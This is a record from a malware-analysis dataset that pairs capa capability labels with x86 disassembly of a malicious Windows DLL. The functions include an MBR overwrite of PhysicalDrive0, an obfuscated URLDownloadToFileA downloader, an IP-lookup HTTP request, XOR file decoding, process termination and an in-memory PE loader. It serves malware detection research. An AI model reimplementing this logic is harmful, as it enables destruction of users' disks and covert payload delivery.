joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10005afc
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x328
push ebx
push esi
push dword [ebp + 8]
call dword [0x10027344]
xor ebx, ebx
pop ecx
cmp eax, ebx
je 0x10005c78
lea esi, [eax + 1]
push esi
call dword [sym.imp.MSVCRT.dll_malloc]
push esi
mov dword [ebp - 0x24], eax
push dword [ebp + 8]
push eax
call dword [0x10027348]
push 0x2f
push dword [ebp - 0x24]
call dword [sym.imp.MSVCRT.dll_strrchr]
mov esi, eax
add esp, 0x18
inc esi
je 0x10005c78
push edi
push 0x7f
pop ecx
xor eax, eax
lea edi, [ebp - 0x223]
mov byte [ebp - 0x224], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push ebx
lea eax, [ebp - 0x328]
push 0x2e
push eax
push ebx
call dword [0x1002738c]
lea eax, [ebp - 0x328]
push 0x100241b8
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x328]
push esi
push eax
lea eax, [ebp - 0x224]
push eax
call dword [0x100272d4]
add esp, 0x14
lea eax, [ebp - 0x20]
mov byte [ebp - 0xc], 0x75
mov byte [ebp - 0xb], 0x72
push eax
lea eax, [ebp - 0xc]
push eax
mov byte [ebp - 0xa], 0x6c
mov byte [ebp - 9], 0x6d
mov byte [ebp - 8], 0x6f
mov byte [ebp - 7], 0x6e
mov byte [ebp - 6], 0x2e
mov byte [ebp - 5], 0x64
mov byte [ebp - 4], 0x6c
mov byte [ebp - 3], 0x6c
mov byte [ebp - 2], bl
mov byte [ebp - 0x20], 0x55
mov byte [ebp - 0x1f], 0x52
mov byte [ebp - 0x1e], 0x4c
mov byte [ebp - 0x1d], 0x44
mov byte [ebp - 0x1c], 0x6f
mov byte [ebp - 0x1b], 0x77
mov byte [ebp - 0x1a], 0x6e
mov byte [ebp - 0x19], 0x6c
mov byte [ebp - 0x18], 0x6f
mov byte [ebp - 0x17], 0x61
mov byte [ebp - 0x16], 0x64
mov byte [ebp - 0x15], 0x54
mov byte [ebp - 0x14], 0x6f
mov byte [ebp - 0x13], 0x46
mov byte [ebp - 0x12], 0x69
mov byte [ebp - 0x11], 0x6c
mov byte [ebp - 0x10], 0x65
mov byte [ebp - 0xf], 0x41
mov byte [ebp - 0xe], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ebx
lea ecx, [ebp - 0x224]
push ebx
push ecx
push dword [ebp - 0x24]
push ebx
call eax
cmp eax, ebx
pop edi
jne 0x10005c78
lea eax, [ebp - 0x224]
push eax
call fcn.1000d46d
test eax, eax
pop ecx
je 0x10005c78
push 5
push ebx
lea eax, [ebp - 0x224]
push ebx
push eax
push ebx
push ebx
call dword [0x10027390]
cmp eax, 0x20
ja 0x10005c73
lea eax, [ebp - 0x224]
push 5
push eax
call fcn.1000596a
pop ecx
pop ecx
push 1
pop eax
jmp 0x10005c7a
xor eax, eax
pop esi
pop ebx
leave
ret 4
Function at 0x10006582
Capabilities:
Delete directory

Disassembly:
mov eax, 0x1001a15c
call fcn.1001566c
sub esp, 0x28
push esi
and dword [ebp - 4], 0
lea ecx, [ebp - 0x34]
call fcn.10015608
lea eax, [ebp + 8]
push str.__.
push eax
lea eax, [ebp - 0x10]
push eax
mov byte [ebp - 4], 1
call sub.MFC42.DLL_operator
push 0
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 2
call fcn.10008482
push eax
lea ecx, [ebp - 0x34]
call sub.MFC42.DLL_CFileFind::FindFile
test eax, eax
je 0x10006633
lea ecx, [ebp - 0x34]
call sub.MFC42.DLL_CFileFind::FindNextFileA
lea ecx, [ebp - 0x34]
mov esi, eax
call sub.MFC42.DLL_CFileFind::IsDots
test eax, eax
jne 0x1000662f
lea ecx, [ebp - 0x34]
call fcn.1000851d
test eax, eax
je 0x10006606
push ecx
lea ecx, [ebp - 0x34]
mov eax, esp
mov dword [ebp - 0x18], esp
push eax
call sub.MFC42.DLL_CFileFind::GetFilePath
call fcn.10006582
pop ecx
jmp 0x1000662f
lea eax, [ebp - 0x14]
lea ecx, [ebp - 0x34]
push eax
call sub.MFC42.DLL_CFileFind::GetFilePath
mov ecx, eax
mov byte [ebp - 4], 3
call fcn.10008482
push eax
call sub.MFC42.DLL_CFile::Remove
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 2
call sub.MFC42.DLL_CString::CString
test esi, esi
jne 0x100065cd
lea ecx, [ebp - 0x34]
call sub.MFC42.DLL_CFileFind::Close
lea ecx, [ebp + 8]
call fcn.10008482
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
lea ecx, [ebp - 0x10]
mov esi, eax
mov byte [ebp - 4], 1
call sub.MFC42.DLL_CString::CString
and byte [ebp - 4], 0
lea ecx, [ebp - 0x34]
call sub.MFC42.DLL_CFileFind::CFileFind
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call sub.MFC42.DLL_CString::CString
mov ecx, dword [ebp - 0xc]
mov eax, esi
mov dword fs:[0], ecx
pop esi
leave
ret

Function at 0x1000667f
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
push esi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
je 0x100066e4
lea eax, [ebp - 0x128]
mov dword [ebp - 0x128], 0x128
push eax
push esi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x100066dd
lea eax, [ebp - 0x104]
push eax
push dword [ebp + 8]
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
je 0x100066d8
lea eax, [ebp - 0x128]
push eax
push esi
call sub.KERNEL32.dll_Process32Next
jmp 0x100066b0
push 1
pop eax
jmp 0x100066e6
push esi
call dword [0x10027270]
xor eax, eax
pop esi
leave
ret
Function at 0x100066e9
Capabilities:
Contain obfuscated stackstrings
Create shortcut via ishelllink

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3d0
push ebx
push esi
xor ebx, ebx
push edi
push ebx
call dword [sym.imp.ole32.dll_CoInitialize]
push 0x2a
xor eax, eax
pop ecx
lea edi, [ebp - 0xbe]
mov byte [ebp - 0xc8], 0x25
mov byte [ebp - 0xc7], 0x61
mov byte [ebp - 0xc6], 0x70
mov byte [ebp - 0xc5], 0x70
mov byte [ebp - 0xc4], 0x64
mov byte [ebp - 0xc3], 0x61
mov byte [ebp - 0xc2], 0x74
mov byte [ebp - 0xc1], 0x61
mov byte [ebp - 0xc0], 0x25
mov byte [ebp - 0xbf], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0xc8]
push eax
lea eax, [ebp - 0x1c8]
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x1c8]
push 0x10024434
push eax
call sub.MSVCRT.dll_strcat
mov esi, str._e__n_d.rar
lea edi, [ebp - 0x14]
movsd dword es:[edi], dword [esi]
add esp, 0x10
lea eax, [ebp - 4]
movsd dword es:[edi], dword [esi]
push eax
push 0x1001d240
push 1
push ebx
push 0x1001d250
movsd dword es:[edi], dword [esi]
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jne 0x10006838
mov eax, dword [ebp - 4]
push 0xd
push eax
mov ecx, dword [eax]
call dword [ecx + 0x34]
mov eax, dword [ebp - 4]
lea edx, [ebp - 0x1c8]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x50]
mov eax, dword [ebp - 4]
lea edx, [ebp - 0x14]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x2c]
mov eax, dword [ebp - 4]
push str._appdata_
push eax
mov ecx, dword [eax]
call dword [ecx + 0x24]
mov eax, dword [ebp - 4]
push 7
push eax
mov ecx, dword [eax]
call dword [ecx + 0x3c]
mov eax, dword [ebp - 4]
lea edx, [ebp - 8]
push edx
push 0x1001d260
mov ecx, dword [eax]
push eax
call dword [ecx]
test eax, eax
jne 0x1000682f
lea eax, [ebp - 0x3d0]
push 0x104
push eax
push 0xffffffffffffffff
push str.C:ProgramDatajy.lnk
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov eax, dword [ebp - 8]
lea edx, [ebp - 0x3d0]
push 2
push edx
mov ecx, dword [eax]
push eax
call dword [ecx + 0x18]
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10006bb8
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
mov eax, 0x1001a19f
call fcn.1001566c
sub esp, 0x194
and dword [ebp - 0x10], 0
push esi
push 1
lea eax, [ebp - 0x1a0]
pop esi
push eax
push 0x202
mov dword [ebp - 4], esi
call dword [sym.imp.WS2_32.dll_WSAStartup]
lea ecx, [ebp + 0xc]
call fcn.10008482
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
push dword [eax]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov ecx, dword [ebp + 8]
push eax
call sub.MFC42.DLL_CString::CString_2
mov dword [ebp - 0x10], esi
and byte [ebp - 4], 0
lea ecx, [ebp + 0xc]
call sub.MFC42.DLL_CString::CString
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp + 8]
pop esi
mov dword fs:[0], ecx
leave
ret

Function at 0x10007604
Capabilities:
Overwrite master boot record (mbr)
Terminate process
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x204
push ebx
push edi
push 0x7f
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x203]
mov byte [ebp - 0x204], bl
rep stosd dword es:[edi], eax
cmp dword [ebp + 8], ebx
stosw word es:[edi], ax
stosb byte es:[edi], al
je 0x10007630
push 0x18
jmp 0x10007632
push 1
lea eax, [ebp - 0x204]
push 0x100239f0
push eax
call dword [0x10027348]
add esp, 0xc
mov byte [ebp - 6], 0x55
mov byte [ebp - 5], 0xaa
push ebx
push ebx
push 3
push ebx
push 3
push 0xc0000000
push str..PHYSICALDRIVE0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
or eax, 0xffffffff
cmp edi, eax
je 0x100076f3
push esi
lea eax, [ebp + 8]
mov esi, dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push ebx
push eax
push ebx
push ebx
push ebx
push ebx
push 0x90018
push edi
call esi
lea eax, [ebp - 4]
push ebx
push eax
lea eax, [ebp - 0x204]
push 0x200
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea eax, [ebp + 8]
push ebx
push eax
push ebx
push ebx
push ebx
push ebx
push 0x9001c
push edi
call esi
push edi
call dword [0x10027270]
push 0x7d0
call dword [0x10027274]
call dword [0x10027258]
cmp eax, 0x80000000
pop esi
jae 0x100076e2
push 1
push str.SeShutdownPrivilege
call fcn.10007593
pop ecx
pop ecx
push ebx
push 6
call dword [0x100272d8]
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop edi
pop ebx
leave
ret

Function at 0x100078d0
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x190
lea eax, [ebp - 0x190]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
cmp byte [ebp - 0x190], 2
jne 0x10007905
xor eax, eax
mov al, byte [ebp - 0x18f]
cmp al, 2
jne 0x10007905
push 1
pop eax
leave
ret
xor eax, eax
leave
ret
Function at 0x10008976
Capabilities:
Encode data using xor
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push ebx
xor ebx, ebx
push edi
push ebx
lea eax, [ebp - 0x110]
push 0x1c
push eax
mov dword [ebp - 0xc], ecx
push ebx
xor edi, edi
mov dword [ebp - 8], ebx
call dword [0x1002738c]
lea eax, [ebp - 0x110]
push eax
call dword [0x10027398]
test eax, eax
je 0x100089d6
lea eax, [ebp - 0x110]
push 0x1002495c
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x110]
push 0x10027124
push eax
call sub.MSVCRT.dll_strcat
push 0x10024960
jmp 0x10008a0a
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.SHLWAPI.dll_PathStripToRootA]
lea eax, [ebp - 0x110]
push 0x10024968
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x110]
push 0x10027124
push eax
call sub.MSVCRT.dll_strcat
push 0x10024974
lea eax, [ebp - 0x110]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x18
lea eax, [ebp - 0x110]
push ebx
push 0x80
push 3
push ebx
push 1
push SysReAllocString
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
je 0x10008a85
push esi
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push edi
call sub.MFC42.DLL_operatornew
pop ecx
mov esi, eax
lea eax, [ebp - 8]
push ebx
push eax
push edi
push esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
cmp edi, ebx
jbe 0x10008a71
xor byte [eax + esi], 0x62
inc eax
cmp eax, edi
jb 0x10008a68
mov ecx, dword [ebp - 0xc]
push edi
push esi
call fcn.1000892b
push esi
mov edi, eax
call sub.MFC42.DLL_operatordelete
pop ecx
pop esi
push dword [ebp - 4]
call dword [0x10027270]
mov eax, edi
pop edi
pop ebx
leave
ret
Function at 0x10008bee
Capabilities:
Enumerate devices by category

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.Ole32.dll
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
push str.CoInitialize
push ebx
call esi
push str.CoUninitialize
push ebx
mov dword [ebp - 0x10], eax
call esi
push str.CoCreateInstance
push ebx
mov dword [ebp - 0x24], eax
call esi
push str.Oleaut32.dll
mov dword [ebp - 0x18], eax
call edi
push str.SysFreeString
push eax
mov dword [ebp - 0x14], eax
call esi
xor esi, esi
mov edi, eax
push esi
call dword [ebp - 0x10]
lea eax, [ebp - 0x1c]
mov dword [ebp - 0xc], esi
push eax
push 0x1001ff90
push 1
push esi
push 0x1001ffd0
call dword [ebp - 0x18]
test eax, eax
jne 0x10008c79
mov eax, dword [ebp - 0x1c]
lea edx, [ebp - 4]
push esi
push edx
mov ecx, dword [eax]
push 0x1001ffc0
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x10008c80
xor eax, eax
jmp 0x10008d0e
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x14]
mov eax, dword [ebp - 4]
lea edx, [ebp - 0x20]
push edx
lea edx, [ebp - 8]
mov ecx, dword [eax]
push edx
push 1
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x10008cf1
mov eax, dword [ebp - 8]
lea edx, [ebp - 0x10]
push edx
push 0x1001d270
mov ecx, dword [eax]
push esi
push esi
push eax
call dword [ecx + 0x24]
test eax, eax
jl 0x10008ce6
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 0x34]
push esi
mov word [ebp - 0x34], 8
mov ecx, dword [eax]
push edx
push str.FriendlyName
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x10008cdd
push dword [ebp - 0x2c]
inc dword [ebp - 0xc]
call edi
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
jmp 0x10008c89
call dword [ebp - 0x24]
mov edi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp ebx, esi
je 0x10008d01
push ebx
call edi
cmp dword [ebp - 0x14], esi
je 0x10008d0b
push dword [ebp - 0x14]
call edi
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000a9e8
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30c
and byte [ebp - 0x208], 0
push esi
push edi
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x207]
push 5
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
mov esi, 0x10024fd8
lea edi, [ebp - 0x104]
push 0x3c
rep movsd dword es:[edi], dword [esi]
pop ecx
xor eax, eax
and byte [ebp - 0x30c], al
lea edi, [ebp - 0xf0]
rep stosd dword es:[edi], eax
push 0x40
lea edi, [ebp - 0x30b]
pop ecx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x104]
push 0
push eax
call dword [sym.imp.USER32.dll_FindWindowA]
mov edi, eax
test edi, edi
je 0x1000aaf6
mov esi, 0x104
lea eax, [ebp - 0x104]
push str.CTXOPConntion_Class
push eax
call dword [0x10027340]
pop ecx
test eax, eax
pop ecx
jne 0x1000aad4
lea eax, [ebp - 0x104]
push esi
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea eax, [ebp - 0x104]
push eax
call dword [0x10027344]
pop ecx
dec eax
cmp byte [ebp + eax - 0x104], 0x5f
jne 0x1000aa8e
lea eax, [ebp + eax - 0x103]
push eax
lea eax, [ebp - 0x30c]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x30c]
push eax
lea eax, [ebp - 0x208]
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x208]
push 0x10025000
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x18
push 2
push edi
call dword [sym.imp.USER32.dll_GetWindow]
mov edi, eax
lea eax, [ebp - 0x104]
push esi
push eax
push edi
call dword [sym.imp.USER32.dll_GetClassNameA]
test edi, edi
jne 0x1000aa59
push edi
call dword [0x10027270]
lea eax, [ebp - 0x208]
push eax
call fcn.1000a971
lea eax, [ebp - 0x208]
push eax
call dword [0x10027344]
pop ecx
cmp eax, 4
pop ecx
pop edi
pop esi
lea eax, [ebp - 0x208]
ja 0x1000ab2a
mov eax, str.NULL
leave
ret
Function at 0x1000ab2c
Capabilities:
Contain obfuscated stackstrings
Create http request
Query remote server for available data
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push esi
xor ebx, ebx
push edi
push ebx
push ebx
push ebx
push ebx
push ebx
mov byte [ebp - 0x34], 0x68
mov byte [ebp - 0x33], 0x74
mov byte [ebp - 0x32], 0x74
mov byte [ebp - 0x31], 0x70
mov byte [ebp - 0x30], 0x3a
mov byte [ebp - 0x2f], 0x2f
mov byte [ebp - 0x2e], 0x2f
mov byte [ebp - 0x2d], 0x77
mov byte [ebp - 0x2c], 0x77
mov byte [ebp - 0x2b], 0x77
mov byte [ebp - 0x2a], 0x2e
mov byte [ebp - 0x29], 0x74
mov byte [ebp - 0x28], 0x61
mov byte [ebp - 0x27], 0x6f
mov byte [ebp - 0x26], 0x62
mov byte [ebp - 0x25], 0x61
mov byte [ebp - 0x24], 0x6f
mov byte [ebp - 0x23], 0x2e
mov byte [ebp - 0x22], 0x63
mov byte [ebp - 0x21], 0x6f
mov byte [ebp - 0x20], 0x6d
mov byte [ebp - 0x1f], 0x2f
mov byte [ebp - 0x1e], 0x68
mov byte [ebp - 0x1d], 0x65
mov byte [ebp - 0x1c], 0x6c
mov byte [ebp - 0x1b], 0x70
mov byte [ebp - 0x1a], 0x2f
mov byte [ebp - 0x19], 0x67
mov byte [ebp - 0x18], 0x65
mov byte [ebp - 0x17], 0x74
mov byte [ebp - 0x16], 0x69
mov byte [ebp - 0x15], 0x70
mov byte [ebp - 0x14], 0x2e
mov byte [ebp - 0x13], 0x70
mov byte [ebp - 0x12], 0x68
mov byte [ebp - 0x11], 0x70
mov byte [ebp - 0x10], bl
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, eax
cmp edi, ebx
mov dword [ebp - 8], edi
je 0x1000acc5
push ebx
push SysReAllocString
push ebx
lea eax, [ebp - 0x34]
push ebx
push eax
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
cmp esi, ebx
jne 0x1000ac07
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x1000acc5
push ebx
lea eax, [ebp - 4]
push ebx
push eax
push esi
call dword [sym.imp.WININET.dll_InternetQueryDataAvailable]
test eax, eax
jne 0x1000ac29
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
call esi
jmp 0x1000acc5
mov eax, dword [ebp - 4]
inc eax
push eax
call sub.MFC42.DLL_operatornew
mov edi, eax
mov eax, dword [ebp - 4]
inc eax
push eax
push ebx
push edi
call dword [0x1002734c]
add esp, 0x10
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 4]
push edi
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x1000ac6f
push edi
call sub.MFC42.DLL_operatordelete
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
pop ecx
push esi
call edi
push dword [ebp - 8]
call edi
jmp 0x1000acc5
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 8]
call esi
push 0x22
push edi
call dword [sym.imp.MSVCRT.dll_strchr]
push 0x22
push edi
mov esi, eax
call dword [sym.imp.MSVCRT.dll_strrchr]
add esp, 0x10
cmp esi, ebx
je 0x1000acbe
cmp eax, ebx
je 0x1000acbe
inc esi
mov byte [eax], bl
push esi
call dword [sym.imp.WS2_32.dll_inet_addr]
push edi
mov esi, eax
call sub.MFC42.DLL_operatordelete
cmp esi, 0xffffffff
pop ecx
je 0x1000acbe
mov eax, dword [ebp + 8]
push 1
mov dword [eax], esi
pop eax
jmp 0x1000acc7
push edi
call sub.MFC42.DLL_operatordelete
pop ecx
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000b2b6
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x310
push ebx
push esi
push edi
push 0x40
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x20b]
mov byte [ebp - 0x20c], bl
mov esi, 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x20c]
push esi
push eax
push ebx
call dword [0x10027260]
call dword [0x1002721c]
push eax
push ebx
push 0x1f0fff
call dword [0x10027230]
lea ecx, [ebp - 4]
mov dword [ebp - 4], esi
push ecx
lea ecx, [ebp - 0x20c]
push ecx
push ebx
push eax
call dword [0x10027240]
lea eax, [ebp - 0x20c]
push eax
call dword [0x100273a4]
push ebx
lea eax, [ebp - 0x108]
push 0x1c
push eax
push ebx
call dword [0x1002738c]
push ebx
lea eax, [ebp - 0x310]
push 0x1c
push eax
push ebx
call dword [0x1002738c]
lea eax, [ebp - 0x108]
push eax
call dword [0x10027398]
test eax, eax
lea eax, [ebp - 0x108]
push eax
je 0x1000b380
call dword [0x100273a0]
lea eax, [ebp - 0x310]
push eax
call dword [0x100273a0]
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x108]
jmp 0x1000b3c3
mov esi, dword [sym.imp.SHLWAPI.dll_PathStripToRootA]
call esi
lea eax, [ebp - 0x108]
push 0x10025070
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x10
lea eax, [ebp - 0x310]
push eax
call esi
push 0x1002507c
lea eax, [ebp - 0x310]
push eax
call sub.MSVCRT.dll_strcat
pop ecx
lea eax, [ebp - 0x108]
pop ecx
push eax
call dword [0x10027398]
test eax, eax
jne 0x1000b483
cmp dword [0x10027578], 1
jne 0x1000b3f3
push 0x10027144
call fcn.10005afc
lea eax, [ebp - 0x310]
push 0x10025088
push eax
call sub.MSVCRT.dll_strcat
pop ecx
lea eax, [ebp - 0x310]
pop ecx
push ebx
push eax
push 0x10025094
call dword [0x1002720c]
lea eax, [ebp - 0x108]
push ebx
push eax
lea eax, [ebp - 0x20c]
push eax
call dword [0x1002720c]
test eax, eax
je 0x1000b483
cmp dword [0x1002711c], 1
jne 0x1000b440
call fcn.1000343e
movzx eax, word [0x100273d6]
push eax
lea eax, [ebp - 0x20c]
push eax
call dword [0x10027250]
movzx eax, word [0x100273d6]
push eax
lea eax, [ebp - 0x108]
push eax
call dword [0x10027250]
push ebx
push ebx
lea eax, [ebp - 0x108]
push ebx
push eax
push ebx
push ebx
call dword [0x10027390]
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movzx eax, word [0x100273d6]
push eax
lea eax, [ebp - 0x20c]
push eax
call dword [0x10027250]
cmp dword [0x1002756c], 1
jne 0x1000b4a6
call fcn.100038d7
call fcn.1000b079
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret
Function at 0x1000bd24
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
cmp word [eax], 0x5a4d
jne 0x1000be35
mov esi, dword [eax + 0x3c]
add esi, eax
cmp dword [esi], 0x4550
jne 0x1000be35
mov edi, 0x2000
push 4
push edi
push dword [esi + 0x50]
push dword [esi + 0x34]
call dword [0x1002725c]
mov ebx, eax
test ebx, ebx
jne 0x1000bd7b
push 4
push edi
push dword [esi + 0x50]
push eax
call dword [0x1002725c]
mov ebx, eax
test ebx, ebx
je 0x1000be35
push 0x14
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
xor eax, eax
push 4
push 0x1000
mov dword [edi + 4], ebx
mov dword [edi + 0xc], eax
mov dword [edi + 8], eax
mov dword [edi + 0x10], eax
push dword [esi + 0x50]
push ebx
call dword [0x1002725c]
push 4
push 0x1000
push dword [esi + 0x54]
push ebx
call dword [0x1002725c]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x3c]
add ecx, dword [esi + 0x54]
push ecx
push eax
push dword [ebp - 4]
call dword [0x10027348]
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 4]
push edi
push esi
mov eax, dword [ecx + 0x3c]
push ecx
add eax, edx
mov dword [edi], eax
mov dword [eax + 0x34], ebx
call fcn.1000be43
mov eax, ebx
add esp, 0x18
sub eax, dword [esi + 0x34]
je 0x1000be00
push eax
push edi
call fcn.1000bfa9
pop ecx
pop ecx
push edi
call fcn.1000c023
test eax, eax
pop ecx
je 0x1000be2e
push edi
call fcn.1000beec
mov eax, dword [edi]
pop ecx
mov eax, dword [eax + 0x28]
test eax, eax
je 0x1000be3c
add eax, ebx
test eax, eax
je 0x1000be2e
push 0
push 1
pop esi
push esi
push ebx
call eax
test eax, eax
jne 0x1000be39
push edi
call fcn.1000c1e2
pop ecx
xor eax, eax
jmp 0x1000be3e
mov dword [edi + 0x10], esi
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000be43
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, dword [ebp + 0x10]
and dword [ebp - 4], 0
push esi
mov eax, dword [ebx + 4]
mov dword [ebp - 8], eax
mov eax, dword [ebx]
movzx ecx, word [eax + 0x14]
cmp word [eax + 6], 0
lea esi, [ecx + eax + 0x18]
jbe 0x1000bee8
push edi
add esi, 0x10
mov edi, 0x1000
cmp dword [esi], 0
jne 0x1000bea9
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 0x38]
test eax, eax
mov dword [ebp - 0xc], eax
jle 0x1000bed6
push 4
push edi
push eax
mov eax, dword [esi - 4]
add eax, dword [ebp - 8]
push eax
call dword [0x1002725c]
push dword [ebp - 0xc]
mov dword [esi - 8], eax
push 0
push eax
call dword [0x1002734c]
add esp, 0xc
jmp 0x1000bed6
mov eax, dword [esi - 4]
push 4
add eax, dword [ebp - 8]
push edi
push dword [esi]
push eax
call dword [0x1002725c]
push dword [esi]
mov ebx, eax
mov eax, dword [esi + 4]
add eax, dword [ebp + 8]
push eax
push ebx
call dword [0x10027348]
mov dword [esi - 8], ebx
mov ebx, dword [ebp + 0x10]
add esp, 0xc
mov eax, dword [ebx]
inc dword [ebp - 4]
add esi, 0x28
movzx eax, word [eax + 6]
cmp dword [ebp - 4], eax
jl 0x1000be72
pop edi
pop esi
pop ebx
leave
ret